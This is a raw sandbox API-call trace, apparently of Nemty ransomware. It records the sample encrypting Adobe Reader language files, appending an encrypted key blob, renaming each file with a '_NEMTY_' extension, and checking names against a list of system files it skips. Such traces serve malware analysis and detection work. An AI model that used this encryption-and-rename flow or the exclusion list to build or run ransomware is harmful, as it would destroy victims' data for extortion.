CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.388] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.388] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="Zz2Yxfb617dvNcRB93l0yMoINc3JDFdT+zZyhJpIUwM4ryXD6ah+Ikr2UHX3uh/B\r\nJkNm6nS2gjlzY8DCSvqntY/TrjxZgSDhUImMw8ayuE4M2+GvimLJuOBUxCPCKptJ\r\nWrvyFNABXpC5XZ4wXXx2lO8UuUk2xVwhCGJ2wp+wOR0+k5noP9zRulPleycjkGv0\r\nECj54VYssrntW/Ac07XUvRh8SG1wehc0uuTaBOsPzzkpSoCae7S6Jj5lyEZ3zDGM\r\nlHd04gyEFyKmWH840uA/VDHPUFMH9FfNV1KViul6fY8vlkFOGmTrX5DiTZFVGJ52\r\nymWEu/MRO21+B7lU+7Nriw==\r\n", pcchString=0x653e5dc) returned 1 [0215.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.389] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28352) returned 1 [0215.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.389] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.392] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.393] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.393] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec0 [0215.393] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.393] CloseHandle (hObject=0x2e8) returned 1 [0215.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.393] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt._nemty_kgobjgd_")) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.394] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_ES_PREEURO.txt", cAlternateFileName="DI260B~1.TXT")) returned 1 [0215.394] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2=".") returned 1 [0215.394] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="..") returned 1 [0215.394] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="...") returned 1 [0215.394] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="windows") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="rsa") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="ntldr") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="IO.SYS") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="boot.ini") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="desktop.ini") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="RECYCLER") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="bootmgr") returned 1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="programdata") returned -1 [0215.395] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES_PREEURO.txt", lpString2="appdata") returned 1 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0215.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0215.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0215.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340130 [0215.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0215.396] Sleep (dwMilliseconds=0x5) [0215.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34070d50, dwHighDateTime=0x1d561e8)) [0215.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34070d50, dwHighDateTime=0x1d561e8)) [0215.403] GetLastError () returned 0x0 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.403] GetLastError () returned 0x0 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.403] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.403] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="LSfKHYJ/nhJkf5j749ENsFAlToOfx0H069gW2X19dzqV8aedgX+HJt7ULAbOizjN\r\n8g6sYAfCTbqX7i0PcTsxZiHa5Js2qZuk8Wm+QjQL4JmD15Z2G13RW2x01hLLQGTO\r\noYECyLwsq0zqLP+OFhIP7CeB65BnMfSj6a4C7YAS8HksSQPdZgIjlEwyegpm8H9n\r\nKc3W5zuc1UiFDSMe0jWTF9kFD44+Q5Zq7+tuKdbh/le/gJBelvc5PLmYFBRFrE+X\r\nslWvanwFiHNLY/5kE9d570iHL26LARimagX/PxbdopclzYcizeXeV+KWoUVNlilM\r\nCKGXYivO2Ox4Cek5vyXPpQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.404] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.404] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.404] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.407] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.407] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.408] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.408] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.408] CloseHandle (hObject=0x2e8) returned 1 [0215.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0215.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0215.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0215.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.408] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.409] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_GT.txt", cAlternateFileName="DID1E0~1.TXT")) returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2=".") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="..") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="...") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="windows") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="rsa") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="NTDETECT.COM") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="ntldr") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="MSDOS.SYS") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="IO.SYS") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="boot.ini") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="boot.ini") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="ntuser.dat") returned -1 [0215.409] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="desktop.ini") returned 1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="CONFIG.SYS") returned 1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="RECYCLER") returned -1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="bootmgr") returned 1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="programdata") returned -1 [0215.410] lstrcmpiW (lpString1="DisplayLanguageNames.es_GT.txt", lpString2="appdata") returned 1 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 30 [0215.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.410] 